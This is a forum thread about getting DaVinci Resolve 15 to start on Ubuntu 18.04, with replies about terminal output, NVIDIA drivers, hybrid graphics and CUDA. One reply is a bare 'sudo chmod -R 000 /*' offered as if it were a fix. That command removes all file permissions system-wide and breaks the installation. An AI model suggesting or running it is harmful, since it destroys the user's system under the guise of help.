DaVinci Resolve 15 on Ubuntu 18.04

I installed DaVinci Resolve 15 on Ubuntu using a tutorial from Gear Seekers (most recent one). I did have to edit some commands to fit the filenames on my computer but other than that it was exactly the same. Resolve installed just fine but won't boot. All other software I have on here works just fine, just not resolve. Any idea what I did wrong or need to do to get it to work?

True... I just got fed up with Microsoft's bull, I still have it for gaming, but I want to avoid using it for anything but gaming.

Could you try running it from a terminal and post the output?

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*

I just came back to the forum... Managed to get it to work if you wanted to know. Needed to use the Nvidia drivers that weren't the ones Ubuntu automatically puts on your computer.

If you are using an hybrid laptop you have to switch to an NVIDIA card, Intel is not supported.

Also maybe cuda is needed, try to run from a command line to see any verbose output
